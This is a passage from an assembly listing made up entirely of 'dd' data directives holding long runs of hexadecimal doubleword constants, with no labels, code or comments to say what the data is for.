0B39B755Ah, 0DE904B44h dd 86CC5F0Ch, 5648C849h, 0A01EBB64h, 0CD0E15Dh, 2400B931h dd 0AC6B2935h, 0BA7C9236h, 39D60BD7h, 41E0E0DAh, 36CA9C8h dd 67B4A881h, 7E6474B4h, 0F793474Fh, 1E22583Ch, 5D2AA630h dd 9DDFD0F2h, 32F27DC1h, 0A7D42FE1h, 0FD09EF1h, 357FA457h dd 0F31A65B6h, 31AF8623h, 25DBFF18h, 58A87745h, 0DBC96B9Ah dd 81819ABBh, 0C67F0D18h, 13E97DC4h, 0C69E4485h, 5F155BA8h dd 0C5CECB5Fh, 0D8258EE0h, 0EE24EB70h, 3D48AC41h, 650FF44Ch dd 0CE95CD6Ah, 4F99B13Dh, 5E83904Bh, 0C791C7C5h, 0A9BA776Ah dd 32FE19F4h, 567F9E8Ah, 74FF3596h, 9E8129F9h, 5C33E902h dd 502ABAB7h, 2089C5E7h, 68BD1FDCh, 4BC60EE0h, 592D25F2h dd 125F3188h, 5E86B5EAh, 89AB679Fh, 9A5E2927h, 3033E4DFh dd 35FE2E57h, 0FA0C6EA4h, 5267CFFBh, 8A74795Fh, 1E209143h dd 4BA1E291h, 0A8C2541Dh, 0C279902Eh, 0C804D708h, 0CF1B1A57h dd 0B7F99A16h, 0E94D1E82h, 30EA8830h, 4D8060Bh, 0AC89623Ah dd 111A519Ch, 67AB77DCh, 808686DBh, 3813B77Dh, 0B95C6005h dd 9C2D469Fh, 0A04E826Fh dd 3A52CFC6h, 94607C4h, 147F4EE3h, 4BCA76DBh, 0DA7B7EB6h dd 0B6BA7FB0h, 44E5B773h, 0D8C95865h, 21B31276h, 2914C288h dd 0C0CC72BDh, 2666EF32h, 0E72E043Ah, 48266EF5h, 20E8B232h dd 0B29103E0h, 5C3563B7h, 61D27D83h, 6A264540h, 0A8AD8FE4h dd 9B465AAAh, 9BE99D4Eh, 4119FBFBh, 0C25E51D3h, 0F837C9A5h dd 87F80223h, 115D1FD8h, 799B5F1Ch, 0D64AC077h, 19241546h dd 677F8899h, 0C54060F8h, 0DD3DBB44h, 0A0349D64h, 2B3CEBBAh dd 0A8467C04h, 1188E13Ah, 29A85CD5h, 0EA60FA14h, 6B1360C3h dd 2A4C9D09h, 24F28CB5h, 0C09DDC8h, 7184B4F3h, 32063533h dd 0BD6C89C8h, 0A58B375Bh, 359C1611h, 29EED3A2h, 0B4A802CAh dd 5CC65062h, 0B666DB7Eh, 0F16CF383h, 3277C54Ch, 8703673Eh dd 3D1BB4C5h, 279AC5D8h, 2B975A26h, 9CB2E57h, 0B538ECE1h dd 8212A349h, 0EF812CF7h, 0EB42B9CAh, 0D1F8C69Fh, 7686C307h dd 45A48FCEh, 0F5BC2ABDh, 6EFE3EF4h, 125BC0F5h, 9E56E62h dd 1C88A11Ah, 7968DC39h, 0E5B6734Bh, 0F1F78638h, 0BD3A9459h dd 0DB44EDD2h, 66A99E77h, 1D22495Dh, 0C5A686CBh, 0B1255DCh dd 78FDED9Ah, 0E2E70793h, 42EB665Bh, 4F89B37Fh, 75E673D5h dd 0EA41B388h, 0C150B0F9h, 4550874h, 6F938D2Bh, 7A8F9AA9h dd 0F6C11E88h, 348B63C6h, 0DA7454Ch, 9375877Ch, 138CDF20h dd 8930916Eh, 9009074Bh, 0B39F0207h, 90456603h, 34910D8h dd 76FB486Fh, 71B89C9Ch, 0D643EE9h, 83C0F19Eh, 0B87021F2h dd 0C61F486Fh, 0BE3D55Bh, 837FE888h, 0E02CD5C6h, 1EA3438Dh dd 2A03E421h, 66A36AA4h, 37C0BA15h, 83A8E6E7h, 638079h dd 36993FF8h, 0B94C3C8Ch, 95A3AA77h, 0B9DC8B71h, 22BADB47h dd 7D5104D6h, 8B8B53D4h, 61C29B3Bh, 0F43FD218h, 47633444h dd 0BB8C4C56h, 4CD06913h, 56E8E2A5h, 0E1F7B63Bh, 9A9DD338h dd 0D5E0B02h, 2939E2E2h, 0E1122F01h, 0A2C397Ah, 5982464Bh dd 3E5B2A89h, 63CEE4C4h, 9E7EF4A5h, 61608B4Dh, 2183805Bh dd 24F9F75Bh, 2770B3B0h, 0E4215D5Ah, 83BE14C4h, 0DEF5CCDAh dd 0DFC6E555h, 96EAFF6h, 7BD27398h, 0AD9800AAh, 25683160h dd 366DC941h, 9A0976CFh, 0A1AB82E7h, 0E4D8996Eh, 0F0656DFEh dd 898C42CEh, 692678B1h, 3B474426h, 0F540DD55h, 6C920B4Ch dd 875FE17Ch, 3CF5B37Ah, 0BEA2270Bh, 0E0986605h, 0CF60D716h dd 0FA57EFADh, 6DD1E0A1h, 0AAA876CFh, 3E5BCE58h, 0B979D84h dd 0BDA5B3A7h, 0BBE146F7h, 5A5B86E6h, 0BBDF15ECh, 8FBE3FEBh dd 3ABC6E7h, 9A2EEB40h, 4CE9AB43h, 75B246C8h, 0F256D040h dd 7C0F1809h, 0C617E90Dh, 51021CD5h, 0DB12980h, 0AE39B8B1h dd 398AD5h, 0A8450ED6h, 0FCB6E727h, 13D7443Fh, 6FE9C44Eh dd 0A09F0B67h, 0DCBF776Dh, 264C4BB2h, 0C30249AAh, 0D80756FAh dd 9D94F8C1h, 6264CD85h, 4C5F8829h, 0CB78FDD6h, 846B659Ah dd 0A398950Ah, 1846E1Eh, 89909C9Eh, 0D75E1A20h, 0B59CB50Eh dd 0F2A29728h, 4748740Dh, 4CEF8BE2h, 76FFF370h, 7B2684DDh dd 9ED1D0F2h, 0B295A1A5h, 0AF96F0C3h, 0E0FC74B1h, 3563D13Ch dd 0DFA92DFEh, 0C588E73Ch, 292BB990h, 38E80Eh, 0BA843F98h dd 0A9851D7Bh, 22AD2DB8h, 31B1E7EAh, 0D3C3B375h, 27F55525h dd 0CF4F8FA3h, 2B5A576h, 0F0AA81Ch, 0DA321376h, 950ED504h dd 0D4414B0Bh, 0EEACC26Eh, 0D98297C3h, 2C35CC06h, 91179548h dd 0DC2C3BB3h, 286CD136h, 4C2891F0h, 0B9CC39F7h, 0EC15BEDDh dd 83AF625Ch, 0CE0F8B0Fh, 109958C3h, 0B6B9C5D7h, 102E260h dd 6C27A46Bh, 85BABA9Dh, 0E7E0D35Ah, 914FA022h, 16103009h dd 8B3FE243h, 0A6577ABh, 34090C9h, 7371CA0Dh, 7DCB5A3h dd 4B97AB17h, 575947F4h, 0D0347983h, 7E8C4EC0h, 0FDAAB97Ch dd 19C293CCh, 2B2062E2h, 603DDF2Bh, 0D19A7CBCh, 0B01D3873h dd 86CFFDF3h, 0F6AEBA15h, 6B92022Eh, 4AAF5745h, 264321E5h dd 5DC6C2F3h, 0A7ADC3ACh, 2C64202h, 4F18126Dh, 59C13CB8h dd 2F2DA187h, 368222Bh, 43382D64h, 334D22F4h, 9E5553DFh dd 0E1BC51AFh, 1BCE461Fh, 16CEFADDh, 242CE1Fh, 4E45F6BFh dd 9AF4F38Ah, 0B0659E53h, 4E4ACFDDh, 0D687540Fh, 0D4F789D0h dd 0E13ABF56h, 87F27216h, 0B9F6B02Eh, 1051BAE3h, 3FE98DB2h dd 2E769A6Bh, 0B4A5D386h, 38233021h, 0D037A5E4h, 0AB10A37Eh dd 65ED5E00h, 1708EC4Ch, 39630E68h, 0A110F595h, 0CCF97475h dd 2A688D78h, 3ABA673Fh, 8E2D5BFAh, 8795D19Dh, 0C03B2A22h dd 0B351A55Ch, 8C535F55h, 0E4773532h, 92179947h, 0C4FD318Ah dd 93507E2h, 0F0F97924h, 76D9BEB0h, 3D12A5A2h, 66150A36h dd 0D421A608h, 0EAA4FBC7h, 31402095h, 240DF5B4h, 0DAF35A43h dd 0C2BD77A8h, 97C4B5B9h, 28984B60h, 0E07D9889h, 0DB5AE547h dd 4A623277h, 6D4C8A13h, 0B87761ECh, 6639FF7h, 471E29E0h dd 884E432Bh, 5FDF9E34h, 97AB23F6h, 363A1D36h, 4ED8B741h dd 0ADD04A47h, 4808BFh, 0C662DFE6h, 73A5BDFEh, 124547F3h dd 198B411Ch, 0C2230B54h, 1A79D418h, 58468D2Dh, 0DF562963h dd 0C8B7FDB2h, 2ED18A7Bh, 0A5282BF4h, 4019FD50h, 6D2D397Dh dd 7DA10CA7h, 0E76D0E85h, 0AAFBB3C0h, 0EB4A336Dh, 24EFD30Bh dd 4631C6CEh, 28AA937Fh, 92B76F59h, 0F43EEA7Ah, 0C36A9EF0h dd 7F3250DFh, 1BA572F6h, 0B465EC29h, 7B0AD6D6h, 0FDD29983h dd 0C255517Ah, 6BB88D29h, 0DBCBF441h, 6A80FF50h, 3C29EAE8h dd 9A106ACEh, 0CDECCEEFh, 35B11890h, 0F0916B0Bh, 2CA9F1DAh dd 26B31346h, 9E5ECFB7h, 0FA526903h, 74B1C9EDh, 4950DF70h dd 9C51E8A6h, 4D2AE715h, 1E0832EAh, 8FA98156h, 732CFACBh dd 0C6A16905h, 0A20BD7F5h, 3B4E9F38h, 0DB43DA5Bh, 1822E84Fh dd 3D20EE84h, 73B038DDh, 12E4FDD6h, 0A8E2724Bh, 4E7CFEC6h dd 0A12E181Ch, 0DC5B5FBDh, 0E0FF8C0Fh, 7F9158C4h, 7D028AD3h dd 0ED378A19h, 0D3D59226h, 0AF8BA9E6h, 24F8ADF7h, 1567AB23h dd 6C51288Dh, 0D11DC3D2h, 0BCB30969h, 5B27FD4Ch, 842EF52Eh dd 189261Dh, 0F26A2E64h, 0D85D5E93h, 44213CF1h, 12D0AAE4h dd 0E67BA64h, 0CF9D04F0h, 0A3409332h, 1E2C8606h, 0D4FF776Fh dd 5CC9AA57h, 0F6EE47A5h, 8B2E8524h, 71200C9Ah, 0C40BA461h dd 0FDA3EBACh, 0D8AD4DE2h, 0AC5B7328h, 24A021B7h, 2ED9A64Eh dd 89F1D5E0h, 9F2B5860h, 9D40D26h, 0C782F182h, 824602E6h dd 4FE5DFEFh, 7054DD03h, 0DD8479Dh, 9BA58284h, 8632E885h dd 855680DEh, 1B76423h, 0BD852D5Ch, 0F15777F4h, 9F260EDCh dd 9E88444Eh, 1059D6C0h, 0E54CB546h, 0EF13BE36h, 543B7D0Eh dd 2BD6905h, 0A06D12B4h, 0C0450ED0h, 0BD4B96E1h, 0C8955CE5h dd 0AA0DC0D9h, 1B9267D3h, 955A4F11h, 75FE37ADh, 3D246E60h dd 0D2EBC72h, 8F2ECB5Eh, 356CBE19h, 13BE90ECh, 139250DEh dd 0A04238C3h, 0D0E59E6Ch, 7A28D16h, 0C0FBD11Eh, 33EE486Bh dd 1CFE2266h, 35F27931h, 94633B70h, 0EF57E99Ah, 0E2E0309Ch dd 0AC5D540Eh, 0FEBC4A0Bh, 0A5CD928Dh, 15D457CCh, 5B4BA85Bh dd 1EE300DEh, 0F4B8A867h, 4EEF9DBDh, 4B3AA2EFh, 3E370E68h dd 0B1FDDBDEh, 0CC3B2A01h, 222A85Bh, 59C47DE0h, 0F3DBA6Bh dd 9BF7524Ah, 8848CBC2h, 2E9E1E2Ch, 479C736Dh, 46CDEC0Ah dd 0F8A15791h, 5B626622h, 11C0CA13h, 0A2C30A0Ch, 90F875B7h dd 8291858h, 2AEDAA06h, 2949E561h, 245D095Ah, 0A554D48Dh dd 282909B8h, 0C1988587h dd 0BCAACB69h, 0A0290BB4h, 76D39B4Bh, 0B66C95FDh, 5B975A96h dd 0FF2020D3h, 0A0E9E499h, 0E91641F3h, 0F3A7B40h, 3428713h dd 43020502h, 36DA25E5h, 0E3FA6C7h, 0D893ADDh, 0B61C157h dd 70D4CDC5h, 0E48D00ABh, 851F3062h, 9B589D49h, 69D9AA62h dd 32B76A6h, 32D38E49h, 9E0DFF71h, 62A43AD3h, 17F4098Eh dd 7A6F96B5h, 0A2738767h, 67CA71B3h, 78E8B83Fh, 3EE8277Dh dd 1B0F5516h, 0CA4384A6h, 21FAF922h, 0A97F46CBh, 8D0F41Fh dd 0EA07FA85h, 0DFCA1C93h, 0B049F2h, 0A1D5F105h, 43E01C1h dd 95D8E03Bh, 47E03105h, 0BC69A69Ch, 0EDABEAF3h, 1A488CDCh dd 7088A2C4h, 8C2D2879h, 32F3AF08h, 5118E4FAh, 247DE551h dd 10FD8B4Bh, 860B1753h, 0E475369Dh, 0EC871716h, 0B0F196EFh dd 5198B874h, 2C03A61Fh, 8ECD49A7h, 215CA01Fh, 42C54FFh dd 2CE1B14Bh, 41E29FE1h, 3C7323F9h, 1D6F3CB7h, 76EFC72Ch dd 9B796BA7h, 9B9C16B9h, 1623BC49h, 0BF74B775h, 0F1B5F965h dd 5273EE51h, 4562BCF4h, 20C48C71h, 0DC907079h, 4F565205h dd 0DFC4420Fh, 0C54E836Eh, 0A10D3DFDh, 1B60A255h, 0D6C72E94h dd 76F0FE49h, 2C50BB6Fh, 55930FCBh, 756C7F9Ah, 293B216Eh dd 0F1BB7034h, 62291697h, 0D51C605Fh, 1B1A6584h, 0BF418393h dd 672AEA37h, 1816B8BDh, 6DDE3521h, 44CAF44Dh, 0EED18B92h dd 9D958EB7h, 5ACEABB8h, 0E5440929h, 596FFD16h, 88C4ECDAh dd 6EF2851Fh, 0AFE3C915h, 5CBFBB11h, 0A84E188Eh, 9D16782Fh dd 0AFC74A4Ch, 0C7464BB8h, 57ECA700h, 6D20FFB6h, 202C1EB9h dd 519C4BD5h, 30246895h, 19DDBCB9h, 48A5769Bh, 980BCA6Eh dd 0B25EA5F7h, 0E22B4C20h, 2B88907Ch, 6BB163CEh, 0FE3E958Bh dd 0BCC2639Dh, 0CAA77A02h, 46819D07h, 0DE431BDDh, 6C7CC657h dd 0C93126F7h, 1C2BE56Ch, 44B615DEh, 0F34A6857h, 9D4FF2BAh dd 0FC36D74Ch, 3CF5C42Dh, 78B9564Dh, 479075A8h, 5273468Fh dd 0A966FBA6h, 0C0C24B64h, 35EA6809h, 0F5C82FF8h, 0ED48D028h dd 4D94D9AFh, 16521053h, 0BA78D811h, 7B3E46CFh, 0FDA20F88h dd 0EB8C7D4Fh, 8C2D6136h, 0BA7AA0C7h, 706AD3B6h, 0AA350882h dd 2B788D2Ah, 8ECF7056h, 20414994h, 0AD252C02h, 2CCE9776h dd 33853187h, 3163F993h, 2750B510h, 8A6AE3ADh, 86C0EAE1h dd 0FE4017F4h, 0CF3C465h, 0AFE28ED5h, 5C051AA5h, 515EEE97h dd 8F968CC7h, 0B42F99DCh, 0CC1D2C56h, 0E9D9AEEFh, 7BDAF14Ch dd 0D7824E11h, 0E9025312h, 0AC19FEA3h, 0BB7CBF5Bh, 0B65259C6h dd 0FD7A646Fh, 6C4BF768h, 2D3C9223h, 92C19504h, 9C294C51h dd 4D911EE6h, 7DD60530h, 8EC6CA40h, 6B72147Dh, 11A8826Ah dd 9499A011h, 0F8AE014h, 0B97B8C46h, 1E7B76DDh, 219B7835h dd 39A47CF0h, 0C31CBB41h, 0C06DC07Bh, 2CF0C81h, 0ED8D70BEh dd 0E40D1EA4h, 1A07AC4Ch, 61BF93AFh, 0E4881120h, 0D008FA6Ah dd 0F318F429h, 4F293C1Fh, 72BFDAA0h, 523DFEA3h, 0B14E25E8h dd 7B922BE0h, 0AF52DAEDh, 0CC1291C9h, 33633F42h, 0DF63E56Ah dd 25C21B98h, 0E6A18E3Ch, 5FC8D163h, 7DF3D3Ah, 73A87CDBh dd 46896BA2h, 118A9FBEh, 70F925ACh, 3ADB8829h, 74A14011h dd 95042188h, 0A596331Fh, 0DF652FC8h, 45FA9E5Eh, 98A8FDD0h dd 74DDB85Dh, 5A3A6BAAh, 0B6EA4BFAh, 208716A8h, 0E1C60AD3h dd 0C2C3BF49h, 53DCB9FBh, 0D2A4EFEBh, 0A352C07Bh, 0C4E52C72h dd 8493073Bh, 46C25785h, 2C392488h, 57BA1620h, 12987A9Bh dd 5C94D24Ah, 0D730F81Dh, 3C30F44Ah, 9FB4C130h, 5CE12E8Fh dd 62A010F5h, 0BD7CA552h, 145E60CCh, 313DA25Dh, 53E858C4h dd 0B75D3099h, 57D4B9A6h, 0BB66DBB6h, 7FE93B73h, 4B9D697h dd 59A64747h, 6336DA14h, 9E5BE4A2h, 2F16AA2Fh, 1BB8C36Eh dd 600AA566h, 17E649AAh, 0B943E44Eh, 386506BCh, 0EA32C238h dd 4FDF4838h, 89CBC08Fh, 7A8957C8h, 61E911A2h, 0F745F431h dd 106F27E9h, 0FDF022CFh, 9596E564h, 7F670832h, 0E33F0429h dd 23B7DD21h, 0E56BA07Ah, 0BAF92019h, 23C964B5h, 5B089540h dd 0F13AA7CAh, 0FD86742Dh, 72D3896Bh, 0DC41CECEh, 9E17BC1Dh dd 8142FB46h, 71C8B8F4h, 2A1D54A1h, 78B0021h, 5F71806Ch dd 1D3C66DFh, 0E82142DBh, 50654E1Eh, 85569D0Bh, 554534FFh dd 0C41155F6h, 928765D7h, 596A9C4Fh, 859F1E91h, 426F74B1h dd 972E6721h, 96A16FCBh, 36857B3Ah, 0AEB7E20Dh, 4A8F55EDh dd 0C92D4B8Ah, 43F68BADh, 0C1532BBBh, 0E58D66C8h, 0F5344EA8h dd 81F9B36Dh, 3073E3ABh, 0A282CFEEh, 7D38C254h, 6BC88A2Bh dd 4457D9ABh, 46E3A0D9h, 0AB71D81Dh, 164925D2h, 0AA42F5B1h dd 862CCB08h, 83EC73Bh, 0C83118D4h, 0D8FF2841h, 0AB099381h dd 0E1C176FBh, 9882C761h, 663EFBE3h, 8294862Dh, 3C32C15Eh dd 73EB4564h, 0C3532B86h, 0AF60CDB8h, 0BE65CFEEh, 7DD31B8h dd 0EF0BF3C7h, 71A134A0h, 0AF023BA8h, 6E876436h, 0C00971BAh dd 0F04F3247h, 0C92F3B80h, 8D7A33DFh, 0C6986128h, 0F8F64B7Ah dd 0BBF81DFAh, 17D5DE52h, 9EA1EA71h, 0D4B2F3BFh, 5A238A51h dd 0C563EA09h, 31FA0B65h, 0BFA18DBFh, 0F9AA6B37h, 9C89F2DBh dd 0A7C07B80h, 14DC0FE3h, 33F25221h, 0DEEBC875h, 570A070Bh dd 300A4BA2h, 19D2EE09h, 0AF0C5DE2h, 49D42E67h, 2FE98CA8h dd 0D0AF16E6h, 641606A7h, 16AF803Ch, 488728E3h, 0F6D81F8Bh dd 2704EB69h, 0C0E503F3h, 0A86D0CA1h, 63AD336Ah, 4A3348CCh dd 85C395C2h, 75989630h, 387B1B36h, 0AB339A3Dh, 0CBCA6A83h dd 55DDB5DCh, 8554DA7Bh, 0BF21AEA7h, 0C761CB7Eh, 923DBA7Ah dd 0A65EDFDDh, 2C6C512Dh, 8DB9E7F5h, 74EE7BC5h, 6D2CB4BCh dd 6CF2AF0h, 3E32541Ch, 9CC77AE7h, 77283958h, 0F28EBAE3h dd 46585E1Eh, 11A752E6h, 0BBFE4C91h, 0A9515B7Ch, 8CEF35F7h dd 49B2BB8h, 1E582B81h, 36D9DE3Bh, 94B078EDh, 0AE8B4C09h dd 0E57354Bh, 7AC3F0C7h, 8A33E4F2h, 73B8320Bh, 233214B1h dd 0BADD40B2h, 4AE7550Ch, 9B5943FCh, 0C4A6B8CAh, 768C2849h dd 0B3C71FD5h, 728A0882h, 0AD56761Bh, 261637D7h, 0F58E47CDh dd 0E646A641h, 94AD01ECh, 0AE600FDBh, 28A411C5h, 657D8B5h dd 0CC7BE2Ch, 0B055F0F4h, 224F5D44h, 0C341C574h, 36B05341h dd 0D5A4B99Eh, 0CA6C2F00h, 804B6A4Bh, 9B8A869h, 1EF6BC89h dd 71008756h, 0E316A32Fh, 0FEBB6565h, 0B28A7DA5h, 0C0C393C8h dd 3A0F8A08h, 6EDE6F07h, 41C04D01h, 7047EEFAh, 6974C127h dd 1DDD4FC8h, 30AF69C5h, 3601F5C7h, 6CF54DF5h, 0A75CCAB9h dd 0B02D7A23h, 832D47F1h, 0E662779Ch, 0B8799034h, 4B4F836Dh dd 0C21E0F82h, 0E8BC1DE1h, 78B9BEC4h, 4EC182ADh, 0C245E0Bh dd 6A608B59h, 0D9E475C4h, 0CB7177A2h, 97101C22h, 4034A64Eh dd 326D9070h, 0BBEB10F5h, 1F366980h, 2DAFF28h, 3CE9719Fh dd 0B4CA7711h, 0A3D548Fh, 0AD58A15Ch, 8FBA409Ch, 0D95FEA68h dd 0E7DD5FC3h, 569FA014h, 0D354A54Ch, 4CED1619h, 0C97E0781h dd 128897F0h, 0B3988121h, 46B4F707h, 70605688h, 0F7E0AA94h dd 0B89A2C06h, 0E71BF994h, 0A3595625h, 39B120B6h, 0E61518BDh dd 0FD3CAAB7h, 1C746120h, 0D673C867h, 99B9E321h, 0B5F18FF4h dd 2E6FBB0Eh, 0F1D2925Eh, 2C2ED61Fh, 2DCC09EEh, 210EB568h dd 834AED28h, 339B1B0Ch, 28CDC3D1h, 728A16FFh, 0D1325D49h dd 5301A708h, 0C34E9E82h, 13A12A29h, 0F1C52815h, 144F7F5Bh dd 0A58E5F17h, 93B58B67h dd 72411D73h, 0D1B228E3h, 591E8D2Ch, 8F7F6CD2h, 3C0F969Eh dd 0F1B9D918h, 248532ACh, 4A278354h, 7E2434A2h, 988D52CBh dd 4259A72Ch, 64A75C9h, 0D0142981h, 1DC2C148h, 0A0532745h dd 723B12F5h, 0F24B7226h, 0FEBA2A23h, 8AA01EDDh, 0A6BA6F82h dd 0EE2CEEEAh, 1E0147CDh, 905E1BA6h, 5E04BA95h, 1FA316CCh dd 3879F47Ah, 0B7C272D6h, 7D8EB941h, 0E511069Fh, 22C7875Fh dd 0B422210Dh, 7F10188Ah, 76FCBF72h, 7B46081h, 1059A01h dd 0CFF303FDh, 4FF07D74h, 23CCB7C6h, 9EC9FF1Bh, 13DE9A23h dd 936BC562h, 0F3BBD265h, 0FCB1D062h, 89C09CE1h, 2FF6D414h dd 604E65EBh, 0A349DD68h, 0C257252Bh, 39B9BA67h, 0D6B1D251h dd 791FA9ABh, 0E2CF519h, 39EFD113h, 8905CC49h, 78A5427Bh dd 0CDDF8500h, 0DDDAC74Eh, 0E2116F14h, 7816D2F6h, 0F40C093Dh dd 64936B37h, 38E469A4h, 3B4429F5h, 46D26441h, 0ACDB2622h dd 0EFC90D03h, 96EF3A06h, 0DC5ED441h, 73E0D9C8h, 0B4F179B8h dd 51C34A7Fh, 75CC7C6Ch, 681DDC90h, 4DD65EEAh, 8FC08AC9h dd 5999E756h, 0B07E4963h, 0F7F1BC8Ch, 8CD36E23h, 49E5373Dh dd 6A1951DFh, 40121466h, 0DC307E49h, 2BB3D35Dh, 0EB442818h dd 177C212Dh, 0D901D4D9h, 6F238744h, 85549654h, 26E8D9F3h dd 89FA771Eh, 8257B775h, 0B3A9AEC3h, 79A48124h, 3509B03Fh dd 0E790748Ah, 708C56BAh, 965831E0h, 4F3F580Ch, 8551E844h dd 2830DE2Bh, 0E223EB69h, 6AE313CAh, 0C7F40397h, 368887F3h dd 0D67D8AFEh, 7B358E2Dh, 97AA86BAh, 3ABA8E13h, 2DE5161Bh dd 47A8B778h, 9F59A485h, 7EFA7DDEh, 0E6683CEFh, 25A24317h dd 67659408h, 421B304Bh, 0A122BB9Ah, 3A3641CEh, 73F45DBBh dd 9A1776F0h, 7F88F8Eh, 19642D6Fh, 0A9019293h, 0E279860Ch dd 4A0ED780h, 13CA3683h, 6020E912h, 8FA90A56h, 296306D2h dd 9DB20B0Eh, 9898BA0Fh, 6F0558EAh, 0DF21E3D4h, 629093A2h dd 6CB849AFh, 65E5C284h, 0F8388773h, 0E2AE8948h, 2FEFF46Bh dd 14D5B420h, 0B9D298D3h, 0CA0DC376h, 0A1800D8Dh, 2DE68A4Bh dd 976234E0h, 0DAA37039h, 0C6FE1253h, 6D9476A7h, 0E5876142h dd 86FE3914h, 562B9A5Eh, 4C1D04ACh, 0E8BBB26Eh, 8968137h dd 20A23D00h, 7E07A847h, 0F23794A7h, 0B266D154h, 7D5A25C1h dd 0A17259D2h, 5E039A79h, 4D6A11DBh, 0E48E0ACCh, 963D721Fh dd 0A22386DEh, 15992773h, 0FF0E2B61h, 0B8FCA257h, 0AD532704h dd 1FB5384h, 74BAB5B9h, 288B0FFEh, 9542F13Fh, 0FDC3B4BFh dd 2488A91Eh, 31F442EDh, 0CC2B91AFh, 0E5E26863h, 80312AF8h dd 90DB8805h, 4FCCF36Dh, 49D4E770h, 0EE42F8CCh, 0C9DC882Fh dd 0F19743A7h, 9B0C70BDh, 0F0EA2B0Bh, 0C7FEEA75h, 96B38AAEh dd 0F2737813h, 0A315F6B2h, 49508812h, 17A3FEBEh, 905969FAh dd 0CF2B85C6h, 435C39F9h, 3E36F974h, 83738CE9h, 0C12A5Dh dd 5BED36B4h, 0E1BD332Dh, 99189D07h, 1F6EA50Ah, 14285566h dd 0FC849BC2h, 0D1E5DCBFh, 97173330h, 80743AE3h, 5FF8A9B1h dd 8A4C1ACBh, 30392A4Dh, 0FD796F26h, 36C0413Eh, 0E537C0FDh dd 5B599E08h, 0E4ACCD08h, 6CBB6025h, 0CD31755Ch, 7C8318D4h dd 0CD4C10ACh, 0CB9C5199h, 0B9975E56h, 2D07EF8h, 0A9217FB0h dd 2C719891h, 8E467B12h, 8A94418h, 0ACE56CDEh, 47CA67D8h dd 9EA707F7h, 6F445D99h, 0F6CBC12Bh, 6465E9C9h, 954BAE80h dd 34742587h, 5E20B88Dh, 0B9795E1Fh, 0CA78B9F4h, 44EBD15Bh dd 43ECB15Eh, 0A03A4FEAh, 1EA7B6C0h, 0C400DF3Ah, 35EC4ADDh dd 84C1988Ch, 0CA97BC1Dh, 3542CE06h, 0D318687Ah, 0CE961734h dd 490844C1h, 22FACA78h, 7027AA3Eh, 20D5830Fh, 4CC9657Ch dd 45AC7F43h, 6AFC3897h, 0CB5B43CBh, 0B62F9428h, 3AAD829Fh dd 64A37DEh, 4CB0989h, 0D7A56AD4h, 0B9199864h, 8AE5A570h dd 0B2B9E194h, 0E5530508h, 7EBA7F7Bh, 410A106Dh, 4EBF8ABBh dd 49317E6Fh, 5C1977F0h, 3F31C628h, 0BF940227h, 0C26E06ECh dd 41FD26E9h, 75165F11h, 0E82E61ECh, 1DDCF668h, 147D9492h dd 0ECDF06ECh, 0DAD45C16h, 3D18D24h, 0A5A41096h, 6F5C31E8h dd 472FAA14h, 0C9E41C6Eh, 4E8D4964h, 498B6DC8h, 2EBCB400h dd 0B7DA406h, 31F581AEh, 783CCC89h, 0F54C63CCh, 0B05E1497h dd 0DCBCB515h, 92445F9Ah, 0C2B211C7h, 453D842Fh, 6A81AD99h dd 16E813A7h, 0F628E579h, 0EC2AA4Bh, 0C2E00CC7h, 7600D53Fh dd 0AF9C941Eh, 99038C49h, 0AB5786BDh, 3A66F2B2h, 5BE8A5DBh dd 0A8492C88h, 0E358D8E6h, 0D2865A3Ah, 0E1AF1A4Ch, 9E5C06ADh dd 7A38C66Bh, 951669EAh, 0EE1FCD06h, 0D8855C65h, 0C263F246h dd 33D8793Fh, 10294841h, 52A95A4Fh, 0C64DA33Bh, 21DA3329h dd 76C5BC23h, 0FBDCD568h, 7868E360h, 1E8BF579h, 2A4F64F9h dd 0EA39881h, 0C46FB42Bh, 0A48547FDh, 0FE3E62FCh, 6517E61Ah dd 0A555AC5Fh, 2521C6B4h, 9B314180h, 0E2B7E1B3h, 0D4CAAC7h dd 0F48D6020h, 0C89CD85Eh, 0BFF772BAh, 6ADAA7B4h, 962AFBB3h dd 8E150FB1h, 3E533670h, 37253C2Eh, 6D0DBD0Eh, 9F038459h dd 590ECCC5h, 1C653C5Dh, 58998CC2h, 2FFE7C3Ch, 57ACCB63h dd 3D523F06h, 0A800FB98h, 86D3208h, 65BA02E3h, 27F0D926h dd 0FC0AD3F5h, 5178FA79h, 5F9E6EFDh, 8F3E5111h, 31F42CE8h dd 0D3760896h, 0FB666E56h, 92D8C7C1h, 70836D3h, 0CB21136h dd 7B3B6CF9h, 50EF8EE6h, 9F2E60F9h, 66F16C4Fh, 0D5C0ED00h dd 31953E1Bh, 0CC60E359h, 12683627h, 0B9A478D6h, 0EBD78DE1h dd 8520FE4Eh, 56CF90B5h, 0C48364F4h, 20199693h, 2A6D7F9Bh dd 2D9F0085h, 4AA83908h, 4160B859h, 6516DF98h, 9BCF77A8h dd 0F5CE4F88h, 4F5E0720h, 8B2483E8h, 0C0E56A93h, 0A234212Bh dd 8037F0CDh, 0D84CFFB0h, 7040C564h, 85CE2571h, 86ED7D70h dd 0B4E9373Ah, 0E5D1B777h, 0A5ED168Bh, 5706F8D8h, 961F94C9h dd 0C3AAD33Eh, 9D694068h, 9BE1604Dh, 699590Fh, 1FE83AF7h dd 31F14E69h, 80967AD7h, 343284ACh, 0F44D1220h, 9365BE05h dd 92CB3807h, 0B9776079h, 11161BBEh, 0C3E1B1Eh, 6938FCA7h dd 0B7EA4B90h, 6BD871EDh, 0DB9499C2h, 20E102F7h, 146BC240h dd 31AA6721h, 331CC57Eh, 0ECF273F0h, 0E87D2ED4h, 40BCC825h dd 0FC7AB92Bh, 0F7F07825h, 39486013h, 0B19E51E4h, 0CD7F731Ch dd 8848EC5Fh, 1E13C050h, 0D8ADD380h, 0A9A15A43h, 0D427C210h dd 3298BF8Eh, 0A08F1B7Dh, 0AC342173h, 63C65126h, 231BCDA0h dd 60797E54h, 0C0EFAD67h, 74E00D9Eh, 13C3206Eh, 40F93C55h dd 83D466DBh, 0F64FF433h, 2487BC45h, 274D018Dh, 5708E112h dd 0C259D4F0h, 103C1104h, 0CF7D413Fh, 0B144CE7Bh, 8A0C856Ch dd 0D756FCB1h, 174051E6h, 0C53EBC47h, 0ADAEABB4h, 0FE0551ACh dd 0FE87045Dh, 42C44951h, 0C7E4C5F0h, 703A9DF6h, 94973021h dd 0A900D192h, 0C33C55DAh, 0CCBE7BCAh, 96D76605h, 0A069ABBAh dd 1B6D03C3h, 0D70CECF2h, 919ED43Ah, 67C4E662h, 318297ACh dd 0EA4F1417h, 